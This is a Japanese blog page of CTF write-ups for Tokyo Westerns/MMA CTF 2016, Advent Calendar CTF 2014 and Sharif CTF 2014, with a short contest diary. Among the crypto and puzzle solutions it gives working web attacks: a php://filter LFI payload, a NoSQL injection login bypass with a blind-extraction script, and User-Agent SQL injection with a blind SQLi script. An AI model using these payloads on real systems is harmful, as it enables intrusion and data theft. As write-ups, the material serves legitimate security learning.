読者です 読者をやめる 読者になる 読者になる

しおあめにっき!

ひらがなかわいい

Tokyo Westerns / MMA CTF 2nd 2016 に参加しました

CTF

Tokyo Westerns / MMA CTF 2nd 2016 に参加しました

Tokyo Westerns / MMA CTF 2nd 2016 に参加しました。 問題は全然解けませんでしたが、楽しかったです。 そういえば CTF をやるのも久々な気がしますね。

Writeup

Welcome!! (Misc, Warmup, 10 pt.)

フラグ提出確認用の問題ですが、それでも点が得られるのは嬉しいですね。

フラグ: TWCTF{Welcome_To_TW_MMACTF!!}

Global Page (Web, Warmup, 50 pt.)

ウェブ問題です。 http://globalpage.chal.ctf.westerns.tokyo/?page=ctf などにアクセスできるシステムです。

さて、パラメータを page=hoge などと変更すると、こんな感じでエラーが表示されます。

Warning: include(hoge/en.php): failed to open stream: No such file or directory in /var/www/globalpage/index.php on line 41

パラメータ page とリクエスト時のヘッダ Accept-Language の値でパスを生成して、動的に include していることがわかります。 php:// が使えるようなので、 php://filter/read=convert.base64-encode/resource=flag.phpinclude させてデコードすると、フラグが得られます。

<?php
$flag = "TWCTF{I_found_simple_LFI}";

Make a Palindrome! (PPC, Warmup, 20 pt. + 30 pt.)

インタラクティブに応答するタイプの問題です。 最大10単語のリストが与えられるので、並び替えて回文を作って答えます。

愚直に全並び替えを試せば大丈夫です。

#!/usr/bin/env python3

import itertools
import re
import telnetlib

def read(tn, s):
    idx, m, d = tn.expect([re.compile(s.encode())])
    print(d.decode(), end='')
    return m.group().decode()

def write(tn, s):
    s += '\n'
    tn.write(s.encode())
    print(s, end='')

def main():
    tn = telnetlib.Telnet('ppc1.chal.ctf.westerns.tokyo', port=31111)
    while True:
        read(tn, 'Case: #\\d+\nInput: \\d+ ')
        words = read(tn, '.*\n').split()
        for seq in itertools.permutations(words):
            t = ''.join(seq)
            if t == t[::-1]:
                write(tn, ' '.join(seq))
                break

if __name__ == '__main__':
    main()
Judge: Correct! TWCTF{Charisma_School_Captain}
Judge: Correct! TWCTF{Hiyokko_Tsuppari}

Twin Primes (Crypto, Warmup, 50 pt.)

2組の双子素数  (p, p + 2),  (q, q + 2) をランダムに選び、 RSA 暗号の鍵として  (p, q) (p + 2, q + 2) で二重に暗号化したものが問題です。 問題としては、暗号文と2組の公開鍵  (n_1, e_1),  (n_2, e_2) が与えられます。

 n_1 = pq,  n_2 = (p + 2)(q + 2) なので、 p + q = (n_2 - n_1 - 4) / 2 と求めることができます。 したがって、与えられた情報だけで復号に必要な  (p - 1)(q - 1),  (p + 1)(q + 1) を求めることができます。

これより TWCTF{3102628d7059fa267365f8c37a0e56cf7e0797ef}

Reverse Box (Reverse, Warmup, 50 pt.)

文字列を引数に与えると、16進数を出力する実行ファイルが与えられます。 また、このプログラムにフラグを入力すると 95eeaf95ef94234999582f722f492f72b19a7aaf72e6e776b57aee722fe77ab5ad9aaeb156729676ae7a236d99b1df4a を出力する、ということが与えられています。 つまり、このバイナリを解析して、フラグの文字列を求める問題です。

バイナリの読解力があまりに低く、バイナリを読んで分かった情報は次の通りでした。

  • rand を呼んでいる。
  • srand を呼んでいる。
  • time を呼んでいる。

実際に動かしてみると、次のことが分かりました。

  • 与える文字列の2倍の桁の16進数が出力される。
  • 与える文字列が同一であっても、実行する時刻によって出力する値が異なる。
  • 入力文字列に同一文字があったとき、出力の16進数でも対応する位置の値が同一である。 例えば、 AABBA を与えると cbcb6464cb になる。

以上のことから、起動時に文字を16進数に変換するテーブルをランダムに生成し、テーブルを使って文字列を16進数に変換するプログラムであると推測できます。 今回の CTF のフラグの形式 TWCTF{}T が2文字含まれていますが、フラグの16進数の T に当たる部分がどちらも 95 になっていることが、このことを裏付けています。 そこで、印字可能な文字の列をこのプログラムに投げ続けて、T95 になるような16進数を得ます。 この情報から変換テーブルを作り、フラグの16進数を逆変換します。

TWCTF{5UBS717U710N_C1PH3R_W17H_R4ND0M123D_5-B0X}

Super Express (Crypto, 100 pt.)

暗号文と暗号化に用いられたプログラムが与えられます。

暗号アルゴリズムは平文の各文字  c に対して  c \leftarrow (a_i c + b_i) \bmod 251 のように  i = 0, \ldots, n - 1 に対して更新していきます。 ここで  a_i,  b_i は鍵情報です。

 c \leftarrow (a_i c + b_i) \bmod 251 の変換は線型写像であり、何度変換しても線型性が保たれます。 したがって、一度だけ  c \leftarrow (A c + B) \bmod 251 と変換しているのと変わりありません。 また、暗号文の  i 文字目と平文の  i 文字目は対応しているので、暗号文の最初の6文字は TWCTF{ です。 このことを用いて、  (A, B) を求めると、 (156, 76) であることがわかります。 これを用いて、復号して TWCTF{Faster_Than_Shinkansen!} を得ます。

rps-ng (PPC, 130 pt.)

インタラクティブに応答するタイプの問題です。 じゃんけんを50回して、40回以上勝てばフラグが得られます。

サーバ側のじゃんけんアルゴリズムは、次のような感じです。

  1. {グー, チー, パー} を出した直後に {グー, チー, パー} を出した回数を記録する  3 \times 3 のテーブルを作る。
  2. 最初の勝負の前に、それぞれの値を  0 から  5 までのランダムな値で初期化する。
  3. 参加者が前に出した手とテーブルを元に、最も出しやすい手を予測し、その手に勝つような手を選択する。
  4. 実際に参加者が出した手の出し方をテーブルに記録する。

つまり、サーバ側はランダムな状態から始まりますが、その後の挙動は決定的です。 したがって、最初のランダムな状態を予測できれば、勝てること間違いなしです。 さて、最初のランダムな状態というのは実は  6^{3 \times 3} = 10,077,696 通りなので、全状態をシミュレートしても何とかなりそうです。 毎回の勝負のときには、全状態で最も勝てる手を出していきます。 勝負が進むにつれ、サーバ側の実際の手の出し方と、シミュレートしているテーブルの状態で矛盾が生じることがあります。 その時点で、そのテーブルではないことが明らかになるので、状態候補からは外していきます。

ということをしたら40勝できました。

#!/usr/bin/env python3

import itertools
import re
import telnetlib

class Client(object):
    def __init__(self, host, port):
        self._tn = telnetlib.Telnet(host, port)

    def _read(self, b):
        idx, m, b = self._tn.expect([re.compile(b)])
        print(b.decode(), end='')
        return m

    def play(self, c):
        self._read(b'\\[RPS\\]')
        x = 'RPS'[c]
        self._tn.write((x + '\n').encode())
        print(x)
        m = self._read(b'(Draw|lose|win!!)\n')
        if m.group(1) == b'Draw':
            return c
        if m.group(1) == b'lose':
            return (c + 1) % 3
        return (c + 2) % 3

def choice(tables, last):
    a = [0, 0, 0]
    for t in tables:
        r = min((-t[3*last], 0), (-t[3*last+1], 1), (-t[3*last+2], 2))[1]
        a[(r+2)%3] += 1
    return max([0, 1, 2], key=lambda x: a[x])

def next_tables(tables, last, p):
    tables2 = list()
    for t in tables:
        r = min((-t[3*last], 0), (-t[3*last+1], 1), (-t[3*last+2], 2))[1]
        if (r + 1) % 3 == p:
            tables2.append(t)
    return tables2

def main():
    tables = list()
    for t in itertools.product(range(6), repeat=9):
        tables.append(list(t))
    cl = Client('ppc1.chal.ctf.westerns.tokyo', 15376)
    last = 0
    while True:
        c = choice(tables, last)
        p = cl.play(c)
        tables = next_tables(tables, last, p)
        for t in tables:
            t[3*last+c] += 1
        last = c

if __name__ == '__main__':
    main()
Congrats!!!!
TWCTF{The_hand_is_determined_by_mien}

Private / Local / Comment (PPC, 50 pt. + 70 pt. + 100 pt.)

Ruby のコードが3個与えられます。 各コードの最後には入力を受け付け、それを eval するようになっています。

Private の主要部分は次のようになっています。

class Private
  private
  public_methods.each do |method|
    eval "def #{method.to_s};end"
  end

  def flag
    return "TWCTF{CENSORED}"
  end
end

p = Private.new
Private = nil

特異メソッド を使って flag を呼び出せばフラグが得られます。

def p.t;flag;end;p.t
TWCTF{PrivatePreview}

Local / Comment については解けませんでした…。 PythonRuby の違いなんてブロックの終わりに end が付くかくらいだから、ノリで書けるだろうと思っていたところがありましたが、この問題に触れることによって少しも Ruby のことを分かっていなかったことを痛感させられました。

Light Out! (PPC, 100 pt. + 300 pt.)

各マスが白または黒である  N \times N の盤面が与えられます。  N = 20 は 100 pt. で、  N = 768 は 300 pt. です。 マス  (x, y) を押すと、  (x, y - 2),  (x + 1, y - 1),  (x + 2, y),  (x + 1, y + 1),  (x, y + 2),  (x - 1, y + 1),  (x - 2, y),  (x - 1, y - 1) の白黒が反転します。 うまく押して、全てのマスが白くなるようにして、その押し方を送るとフラグが得られます。

各マスを押すべきかを変数で表すと、  N \times N 変数間の関係式が  N \times N 個作れます。 さらに言うと、これらは XOR で結合した式になるので、ガウス-ジョルダン消去法により、変数の値を明らかにすることができます。 普通に計算すると、時間計算量  \mathcal{O}(N^{6}) と空間計算量  \mathcal{O}(N^{4}) で絶望的ですが、係数行列はいい感じに疎なので、その特徴を使うと、時間計算量を  \mathcal{O}(N^{4}) (1時間弱) に、空間計算量を  \mathcal{O}(N^{3}) (3 GB 弱) にできます。

#include <algorithm>
#include <cstdint>
#include <iostream>
#include <string>
#include <utility>
#include <vector>

class Matrix {
  public:
    void resize(int n) {
      n_ = n;
      a_.resize(n * n, std::vector<std::uint8_t>(6 * n + 1, 0));
      b_.resize(n * n, 0);
    }
    std::uint8_t &operator()(int i, int j) {
      return a_[i][j - i + 2 * n_];
    }
    std::uint8_t &operator()(int i) {
      return b_[i];
    }
    void display() {
      int q = std::max(1, n_ * n_ / 30);
      int s = (n_ * n_ + q - 1) / q;
      std::vector<std::string> lines(s, std::string(s, '-'));
      for (int y = 0; y < n_ * n_; ++y) {
        for (int x = y - 2 * n_; x <= y + 4 * n_; ++x) {
          if ((*this)(y, x)) {
            lines[y / q][x / q] = '*';
          }
        }
      }
      for (const auto &line : lines) {
        std::cerr << line << std::endl;
      }
      std::cerr << std::endl;
    }
  private:
    int n_;
    std::vector<std::vector<std::uint8_t>> a_;
    std::vector<std::uint8_t> b_;
};

int main() {
  int dx[8] = {0, 1, 2, 1, 0, -1, -2, -1};
  int dy[8] = {-2, -1, 0, 1, 2, 1, 0, -1};
  int n;
  std::string s;
  Matrix a;
  std::cin >> n >> s;
  a.resize(n);
  for (int i = 0; i < n * n; ++i) {
    a(i) = (s[i] == '1');
  }
  for (int z = 0; z < n * n; ++z) {
    for (int i = 0; i < 8; ++i) {
      int nx = z % n + dx[i];
      int ny = z / n + dy[i];
      if (0 <= std::min(nx, ny) and std::max(nx, ny) < n) {
        a(nx + n * ny, z) = true;
      }
    }
  }
  for (int i = 0; i < n * n; ++i) {
    int pivot = i;
    for (int j = i; j < std::min(n * n, i + 2 * n + 1); ++j) {
      if (a(j, i)) {
        pivot = j;
        break;
      }
    }
    if (not a(pivot, i)) {
      for (int j = i; j < n * n; ++j) {
        for (int k = j - 2 * n; k <= j + 4 * n; ++k) {
          a(i, k) = (i == k);
        }
        a(i) = false;
      }
      break;
    }
    for (int j = i; j <= pivot + 2 * n; ++j) {
      std::swap(a(i, j), a(pivot, j));
    }
    std::swap(a(i), a(pivot));
    if (int(100 * (i - 1) / (n * n)) != int(100 * i / (n * n))) {
      std::cerr << "@ " << int(100 * i / (n * n)) << " %" << std::endl;
      a.display();
    }
    for (int j = i + 1; j < std::min(n * n, i + 2 * n + 1); ++j) {
      if (a(j, i)) {
        for (int k = i; k <= i + 4 * n; ++k) {
          a(j, k) = a(j, k) ^ a(i, k);
        }
        a(j) = a(i) ^ a(j);
      }
    }
  }
  for (int i = n * n - 1; i >= 0; --i) {
    for (int j = i - 1; j >= std::max(0, i - 4 * n); --j) {
      if (a(j, i)) {
        a(j) = a(i) ^ a(j);
        a(j, i) = false;
      }
    }
  }
  std::cerr << "finished" << std::endl;
  a.display();
  for (int i = 0; i < n * n; ++i) {
    std::cout << int(a(i));
  }
  std::cout << std::endl;
  return 0;
}
{"result":"Correct","message":"Good! The flag is TWCTF{peaceful_tea_party}"}
{"result":"Correct","message":"Wonderful! The flag is TWCTF{happy_ra1ny_step}"}

Get the admin password! (Web, 100 pt.)

ログインフォームが与えられるので、 admin としてログインする問題です。

ずっと SQL かメンバーリストが書かれたテキストファイルのどちらかだと思っていたのですが、正解は NoSQL でした。 なので user=admin&password[$ne]=foobar のようにするとログインできます。 ログインすると、 The flag is admin password. Admin password format is "TWCTF{...}". とのことなので、パスワードを求める必要があります。 $lt 演算子を使ってブラインドインジェクションすればフラグが得られます。

#!/usr/bin/env python3

import string
import urllib.request
import urllib.parse

def judge(password):
    url = 'http://gap.chal.ctf.westerns.tokyo/login.php'
    password = urllib.parse.quote(password.encode())
    data = 'user=admin&password[$lt]={}'.format(password).encode()
    with urllib.request.urlopen(url, data) as f:
        return 'Wrong' not in f.read().decode()

def main():
    password = ''
    chars = sorted(string.printable)
    while not judge(password):
        a, b = 0, len(chars)
        while b - a > 1:
            c = (a + b) // 2
            a, b = (a, c) if judge(password + chars[c]) else (c, b)
        password += chars[a]
        print(password)

if __name__ == '__main__':
    main()
TWCTF{wasshoi!summer_festival!}

glance (Misc, 50 pt.)

細長い GIF アニメーションが与えられます。 ImageMagick でバラして繋げば涼し気な画像になります。

convert +adjoin glance.gif piece-%03d.gif
convert +append piece-*.gif output.gif

f:id:saltcandy123:20160905090338g:plain

hatena-haiker を作りました

その他

hatena-haiker という名前のライブラリを作りました。 hatena-haiker は はてなハイクAPI を操作する Python 3 向けライブラリです。

ユーザ認証として Basic 認証と OAuth が使えます。 OAuth については Consumer Key から Acess Token を取得する操作もサポートしています。

Code Festival 2015 に参加しました

その他

Code Festival 2015 に参加しました。 楽しかったです。

予選

  • 予選 A は、 D 問題の部分点解法すら思いつかず、全然ダメでした。
  • 予選 B は、 D 問題の部分点解法が瞬時に思いついてすぐに通せたので、ギリギリ予選を通過できました。

予選 A を受けたとき、本戦にいくのは無理そうだと感じたので、通ってよかったです。

本戦

金曜日

前泊のため、金曜日に東京に来ました。

飛行機の中では、ショートコーディングの問題を解いていました。

深夜になり、急にお腹がへったので近くの牛丼屋に行きました。 店内に、でかくて、急に飛んできそうなタイプの虫がいたので、「東京って怖いな〜」と思いました。

帰りにコンビニでガリガリ君とヨーグルトを買いました。

ガリガリ君を食べながら4時頃まで、ショートコーディングの問題を解いていました。

土曜日

最初のコンテンツは本戦コンテストでした。

  • B 問題: DP で解いてみたものの、2回 WA を出してしまいました。その後、嘘っぽい解法で出したらACでした。実際その解法は想定解だったらしいです。つらい。
  • D 問題: 「平方分割すれば  \mathcal{O}(N\sqrt{\max{T_i}}) でできる」と思ってコードを書くも、場合分けが7個になって絶望。それでもゴリゴリやったらできました。

F 問題以降も少しずつ考えてみましたが、できなさそうだと思ったので、諦めました。 代わりに B 問題の DP 解を直そうと試みましたが、できませんでした。 何だったのだろう。

5問以上正解したので、パーカーが得られました。やったね。 一方で、去年より順位が大幅に下がったので、精進が必要ですね。

その後は、トークライブを聞いて過ごしました。

最後は、エキシビションマッチを観戦しました。 去年もそうでしたが、今年も競技者がプロだったので、面白かったです。

ホテルに戻ったあと、麺が食べたくなったので、近くのラーメン屋でつけ麺を食べました。

帰りにコンビニでガリガリ君とヨーグルトを買いました。

ガリガリ君を食べながら、5時頃までショートコーディングをしていました。

日曜日

あさプロ Easy に参加しました。 C 問題で WA が出たのですが、原因がまったくわからず C++ から Python に移植してみたら AC しました。何だったのだろう。 結局 Easy は全完し、 Middle に移ったのですが、まったくわからなかったので、終了。

その後、トークライブを聞いて過ごしました。

最後は、チーム対抗早解きリレーです。 私が割り当たったチームは、作戦も最高だったし、メンバーが優れていたので、私以外は WA を出さず(みんなすごい!)、すぐに全完しました。 これだけすごいと、結局1行しかコードを書かなかった私が2回も WA を出して時間を使ってしまい、すみませんでした、という感じです。

そんな感じで、本戦が終わりました。 楽しかったです。

Advent Calendar CTF 2014 に参加しました

CTF

あまり時間が割けなかったのですが、楽しかったです!

adctf2014 writeups

warmup (misc, day 1)

16進数で書かれた ASCII コードを文字に直すだけです。

#!/usr/bin/env python3
import codecs
h = '0x41444354465f57334c43304d335f37305f414443374632303134'
print(codecs.decode(h[2:], 'hex_codec').decode())

FLAG: ADCTF_W3LC0M3_70_ADC7F2014

alert man (web, day 2)

ページ内の JavaScript が一部難読化されているので evalalert とか console.log とかに変えてデコードするのを2回やると、読めるコードが出てきます。それによると、フラグは次のように計算しているようです。(t に格納している)

cs = [5010175210, 5010175222, 5010175227, 5010175166, 5010175224, 5010175218,
      5010175231, 5010175225, 5010175166, 5010175223, 5010175213, 5010175140,
      5010175166, 5010175199, 5010175194, 5010175197, 5010175178, 5010175192,
      5010175169, 5010175191, 5010175169, 5010175146, 5010175187, 5010175169,
      5010175146, 5010175218, 5010175149, 5010175180, 5010175210, 5010175169,
      5010175187, 5010175146, 5010175216];
t = '';
for (i = 0;i < cs.length; i++) {
    t += String.fromCharCode(cs[i] ^ 0x123456789 + 123456789)
}

the flag is: ADCTF_I_4M_4l3Rt_M4n

listen (misc, day 3)

サンプリング周期が 1 Hz になっているので 25000 Hz くらいにすると聞こえるようになります。 参考ページ にしたがって WAV ファイルのヘッダ部分を書き換えると楽です。

FLAG: ADCTF_SOUNDS_GOOD

easyone (reversing, day 4)

objdump -d easyone で見てみると、配列に代入 (movb) しているっぽいところがあります。 配列の順に代入しているわけではないので、書き込み位置でソートして順に文字を見ていきます。

#!/usr/bin/env python
pairs = [(0x37, -0x2a), (0x33, -0x1e), (0x31, -0x25), (0x48, -0x29),
         (0x37, -0x22), (0x4f, -0x18), (0x35, -0x1c), (0x35, -0x27),
         (0x4f, -0x20), (0x5f, -0x1a), (0x79, -0x1b), (0x33, -0x14),
         (0x43, -0x2e), (0x52, -0x17), (0x31, -0x28), (0x54, -0x2d),
         (0x35, -0x24), (0x46, -0x19), (0x41, -0x30), (0x5f, -0x16),
         (0x4d, -0x15), (0x5f, -0x23), (0x5f, -0x26), (0x6f, -0x21),
         (0x5f, -0x2b), (0x34, -0x1d), (0x46, -0x2c), (0x5f, -0x1f),
         (0x44, -0x2f), (0x0, -0x13)]
print(''.join(chr(p[0]) for p in sorted(pairs, key=lambda p: p[1])))

FLAG: ADCTF_7H15_15_7oO_345y_FOR_M3

shooting (web, day 5)

shooting.min.jsthis.direction=n となっている部分を this.direction=0 とすると、敵の弾が左から右に進むようになるので、簡単にゲームがクリアできるようになります。

FLAG: ADCTF_1mP05518L3_STG

paths (reversing, day 6)

ダイクストラ法とかを使って最短距離を求めるだけです。

#!/usr/bin/env python3
import queue
def compute_shortest_path(edges_list, start, goal):
    distances = [None for i in range(len(edges_list))]
    prev = [None for i in range(len(edges_list))]
    heap = queue.PriorityQueue()
    distances[start] = 0
    heap.put((0, start))
    while not heap.empty():
        d, node = heap.get()
        if distances[node] is not None and d > distances[node]:
            continue
        for next_node in edges_list[node]:
            d = distances[node] + edges_list[node][next_node]
            if distances[next_node] is None or d < distances[next_node]:
                distances[next_node] = d
                prev[next_node] = node
                heap.put((d, next_node))
    tracks = [goal]
    while tracks[-1] != start:
        tracks.append(prev[tracks[-1]])
        if tracks[-1] is None:
            return None
    return list(reversed(tracks))
E = [[(96, 65)], [(64, 99), (82, 120), (3, 100), (19, 87), ......]
start = 0
goal = 99
edges_list = [dict(el) for el in E]
tracks = compute_shortest_path(edges_list, start, goal)
costs = [edges_list[tracks[i]][tracks[i + 1]] for i in range(len(tracks) - 1)]
print(''.join(chr(c) for c in costs))

FLAG: ADCTF_G0_go_5hOr7E57_PaTh

rotate (crypto, day 8)

2バイトずつに区切って、1バイト目と2バイト目を key (rad) だけ座標回転していることがわかります。 つまり key さえ分かれば、逆行列をかけることによって復号できます。 適当な粒度で key を増加させて1周分見ることによってフラグを総当りします。 実際にすべて復号すると計算が大変そうなので jpeg のヘッダが \xff\xd8 であることを使って省略化します。

#!/usr/bin/env python3
import math
import struct
N = 2000
def round_float(x):
    return max(min(round(x), 127), -128)
def decode(cipher, key):
    segments = list()
    for i in range(0, len(cipher), 8):
        a = struct.unpack('f', cipher[i: i + 4])[0]
        b = struct.unpack('f', cipher[i + 4: i + 8])[0]
        x = + a * math.cos(key) + b * math.sin(key)
        y = - a * math.sin(key) + b * math.cos(key)
        segments.append(struct.pack('b', round_float(x)))
        segments.append(struct.pack('b', round_float(y)))
    return b''.join(segments)
with open('flag.jpg.enc', 'br') as f:
    cipher = f.read()
for i in range(N):
    key = 2 * i * math.pi / N
    if decode(cipher[0: 8], key) == b'\xff\xd8':
        with open('{0}.jpg'.format(i), 'wb') as f:
            f.write(decode(cipher, key))

FLAG: ADCTF_TR0t4T3_f4C3

qrgarden (PPC, day 9)

画像分割して読み取ります。 画像分割は ImageMagick を使い、バーコード読み取りには ZBar を使いました。

mkdir img
convert qrgarden.png -crop 87x87 img/test.png
zbarimg img/*.png | grep ADCTF_

FLAG: ADCTF_re4d1n9_Qrc0de_15_FuN

xor (crypto, day 10)

暗号化の逆をやればよいのですが、自己を xor しているのが面倒です。

x ^ (x >> 2) が2進数で 11111000 の場合を考えましょう。 とりあえず x = 11ABCDEF であることは確定するので 11ABCDEF xor 0011ABCD = 11111000 が成立すればよいことになります。 このことから x = 1100EDEF が確定するので、同様に 1100EDEF xor 001100ED = 11111000 を仮定すると x = 110010EF が確定します。

というように上位ビットから確定させていく方法をとればなんとかなります。

#!/usr/bin/env python3
import codecs
def xor(x, n):
    k = 8 - n
    y = x >> k << k
    while k > 0:
        k = max(k - n, 0)
        y = x ^ (y >> n >> k << k)
    return y
def decode(cipher):
    plain = list()
    for i, x in enumerate(cipher):
        for j in (1, 2, 3, 4):
            x = xor(x, j)
        if i > 0:
            x = x ^ cipher[i - 1]
        plain.append(x)
    return bytes(plain)
cipher_hex = '712249146f241d31651a504a1a7372384d173f7f790c2b115f47'
print(decode(codecs.decode(cipher_hex, 'hex_codec')).decode())

FLAG: ADCTF_51mpl3_X0R_R3v3r51n6

blacklist (web, day 11)

User-Agent を細工することで INSERT INTO access_log (accessed_at, agent, ip) VALUES (NOW(), '$agent', '$ip')$agent で SQLi できます。 例えば User-Agent: '+(select 123)+' とすると 123 が挿入されます。

これが分かれば、あとは ord(substr('ABCDEF', 3, 1)) のような典型テクニックで、がりがりやるだけです。 information_schema.tablesinformation_schema.columns を見ると flag テーブルに flag is HERE!!! カラムがあることが分かります。テーブル名とカラム名が分かったので、とどめを刺します。

FLAG: ADCTF_d0_NoT_Us3_FUcK1N_8l4ckL1sT

secret table (web, day 14)

User-Agent を細工して SQLi します。 User-Agent: '+(select 1 where 1 = 1)+' は OK で User-Agent: '+(select 1 where 1 = 0)+' は Server Error になります。 これを使って BlindSQLi をすれば終わりです。

#!/usr/bin/env python3
import time
import urllib.request, urllib.error
URL = 'http://secrettable.adctf2014.katsudon.org/'
def make_req(table, column, s):
    s = s.replace("'", "''")
    sql = 'select {c} from {t}'.format(c=column, t=table)
    ua = "'+(select 1 where ({0}) >= '{1}')+'".format(sql, s)
    return urllib.request.Request(URL, headers={'User-Agent': ua})
def find_value(table, column):
    fixed = ''
    while True:
        a, b = 0, 128
        while b - a > 1:
            c = (a + b) // 2
            try:
                wrapped = 'substr({0}, {1})'.format(column, len(fixed) + 1)
                req = make_req(table, wrapped, chr(c))
                with urllib.request.urlopen(req) as f:
                    a = c
            except urllib.error.HTTPError:
                b = c
            time.sleep(1)
        if a == 0:
            return fixed
        fixed += chr(a)
print(find_value('sqlite_master', "group_concat(sql, ',')"))
print(find_value('super_secret_flag__Ds7KLcV9',
                 'yo_yo_you_are_enjoying_blind_sqli'))

FLAG: ADCTF_ERR0r_hELP5_8L1nd_5Ql1

xmas (bonus, day 25)

FLAG: ADCTF_m3RRy_ChR157m42

Sharif University CTF Quals 2014 に参加しました!

CTF

Sharif University CTF Quals 2014 に参加しました。せっかくなので writeup を書こうと思います。

Writeups

What is this (steganography, 20 pt)

2枚のモノクロ画像が渡される問題です。

composite -compose Difference pic1.jpg pic2.jpg diff.jpg

差分画像

Rolling hash (cryptography, 30 pt)

暗号化するプログラムと暗号化されたフラグが与えられます。

問題によるとフラグは9文字らしいので  256^{9} 10^{30} を比較すると  256^{9} の方が小さいらしいということを考慮すると、文字列をビックエンディアン的に数値変換しているだけなので、簡単に復号できます。

#!/usr/bin/env python3

def encrypt(text):
    retval = 0
    for i, c in enumerate(text):
        retval += ord(c)*256**(len(text)-i-1)
    return retval

def decrypt(cipher):
    chars = list()
    while cipher > 0:
        chars.append(chr(cipher%256))
        cipher //= 256
    return ''.join(reversed(chars))

def main():
    print(decrypt(1317748575983887541099))

if __name__ == '__main__':
    main()

というわけでフラグは Good Luck

Guess the number (reverse, 30 pt)

jar ファイルが与えられます。

jad を使ってデコンパイルすると 4b64ca12ace755516c178f72d05d7061ecd44646cfe5994ebeb35bf922e25dba を xor したものがフラグであると書かれています。よってフラグは a7b08c546302cc1fd2a4d48bf2bf2ddb

Recover deleted file (forensics, 40 pt)

ext3 のディスクイメージが与えられます。

strings disk-image とすると /lib64/ld-linux-x86-64.so.2 など出てくるので 0x7f ELF を探して切り取って実行するとおしまいです。

$ ./elf
your flag is:
de6838252f95d3b9e803b28df33b4baa

Sudoku image encryption (cryptography, 40 pt)

数独の画像と、地図が15パズルのように 9x9 でバラバラに入れ替わった画像が与えられます。

数独は適当な数独ソルバーで解きます。数独の解が地図の破片の元の位置を表しているのは容易に想像できるので、スクリプトを書いたらおしまいです。

#!/usr/bin/env python3

import PIL.Image

class Solver(object):
    def __init__(self, sudoku, image):
        self.sudoku = sudoku
        self.image = image

    def solve(self):
        width, height = (length//9 for length in self.image.size)
        arranged = PIL.Image.new('RGB', self.image.size)
        pieces = self._split()
        for y in range(9):
            for x in range(9):
                i = self.sudoku[y].index(x+1)
                arranged.paste(pieces[y][i], (width*x, height*y))
        return arranged

    def _split(self):
        width, height = (length//9 for length in self.image.size)
        pieces = list()
        for y in range(9):
            pieces.append(list())
            for x in range(9):
                left, right = width*x, width*(x+1)
                upper, lower = height*y, height*(y+1)
                box = self.image.crop((left, upper, right, lower))
                pieces[y].append(box)
        return pieces

def main():
    sudoku = [
            [9, 6, 4, 1, 2, 7, 5, 3, 8],
            [7, 1, 2, 3, 8, 5, 6, 9, 4],
            [3, 8, 5, 4, 9, 6, 7, 1, 2],
            [4, 9, 1, 5, 7, 8, 2, 6, 3],
            [2, 3, 8, 6, 1, 4, 9, 7, 5],
            [5, 7, 6, 2, 3, 9, 8, 4, 1],
            [6, 2, 7, 8, 4, 3, 1, 5, 9],
            [1, 5, 3, 9, 6, 2, 4, 8, 7],
            [8, 4, 9, 7, 5, 1, 3, 2, 6]
    ]
    img = PIL.Image.open('image.png')
    s = Solver(sudoku, img)
    arranged = s.solve()
    arranged.save('arranged.png')

if __name__ == '__main__':
    main()

地図

Iran Pro League (web, 80 pt)

何らかのテーブルのレコードを全て表示してくれるアプリケーションが与えられます。

/?p1=public&p2=stadium にアクセスするとスタジアムのレコードが見られるようになっているようです。ここで /?p1=test にアクセスすると

 ok: 'false'
 decription: 'Schema does not exist'
 CONTEXT: 'PL/pgSQL function report(character varying,character varying,json) line 38 at RETURN QUERY'

と怒られるので /?p1=pg_catalog&p2=pg_tables にアクセスすると、たくさんレコードが出てきます。この中に、

 schemaname: corner
 tablename: flag
 tableowner: football_info
 tablespace: null
 hasindexes: true
 hasrules: false
 hastriggers: false

というのがあるので /?p1=corner&p2=flag にアクセスしてフラグを得ます。

 flagid: 1
 val: 'flag: eca883cb69ad6614d487c525a7d5d2a3'

Hear With Your Eyes (steganography, 100 pt)

音声ファイルが渡される問題です。

スペクトログラムを見ます。

spectrogram

Secure Coding (secure-coding, 100 pt)

プログラム中の脆弱性を見つけて、直したものをアップロードしてチェックを受け、脆弱性がなくなっていたらフラグがもらえる、という変わった問題です。

この問題はバッファオーバーフローが可能な箇所がいくつかあるので、直せばおしまい。

#include <stdio.h>
#include <string.h>

int main() {
    /* char str[1000]; */
    char str[1001];
    printf("SPLITTER\n");
    printf("--------\n");
    printf("\n");
    str[0] = 0;
    while (1) {
        /* char temp[50]; */
        char temp[51];
        scanf("%50s", temp);

        if (strcmp(temp, ".") == 0) {
            break;
        }
        /* strncat(str, temp, sizeof(str)); */
        strncat(str, temp, sizeof(str)-strlen(str)-1);
        /* strncat(str, "\n", sizeof(str)); */
        strncat(str, "\n", sizeof(str)-strlen(str)-1);
    }
    printf("\n%s\n", str);
    return -14;
}

Huge Key (cryptography, 100 pt)

暗号化するプログラムと暗号化されたフラグが与えられます。

鍵はとても大きなものを与えられたとてしても、実質的な鍵は先頭2バイトだけなので  256 \times 256 = 65536 通り試せばおしまいです。

<?php
$iv_size = mcrypt_get_iv_size(MCRYPT_RIJNDAEL_128, MCRYPT_MODE_CBC);
$data = file_get_contents("ciphertext.bin");
$iv = substr($data, 0, $iv_size);
$cipher = substr($data, $iv_size);
$key = "\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0";
for ($i = 0; $i < 256; ++$i) {
    $key[0] = chr($i);
    for ($j = 0; $j < 256; ++$j) {
        $key[1] = chr($j);
        $plain = mcrypt_decrypt(MCRYPT_RIJNDAEL_128, $key, $cipher,
                                MCRYPT_MODE_CBC, $iv);
        $plain = str_replace("\x00", "", $plain);
        if (ctype_print($plain)) {
            print $plain . "\n";
        }
    }
}
?>

これを試すとフラグが出ます the flag is e3565503fb4be929a214a9e719830d4e

Cafe-1 (recon, 150 pt)

カフェの写真が与えられます。カフェのロゴのデザイナーの名前を答える問題です。

この写真には QR コードが写りこんでおり、これを読み込むと、

GodForgives,AllYouHaveToDoIsAsk
suctf.com/cce1/d393

と書かれていることがわかります。そこで敢えて http://suctf.com/cce1/ にアクセスすると大きなロゴの PNG 画像が得られます。その画像のコメントに作者の情報が埋め込まれていました。

Designed by: nooneonemore
For: http://suctf.com/cce1/d393

Cafe-2 (recon, 150 pt)

Cafe-1 の写真の日の「今日の言葉」は何かを探す問題です。結局のところ QR コードで読み取った最初の行が答えでした。

Our bank is your (web+forensics, 200 pt)

パケットのキャプチャファイルが与えられます。

キャプチャファイルを見ると冒頭で次のようなストーリーが確認できます。

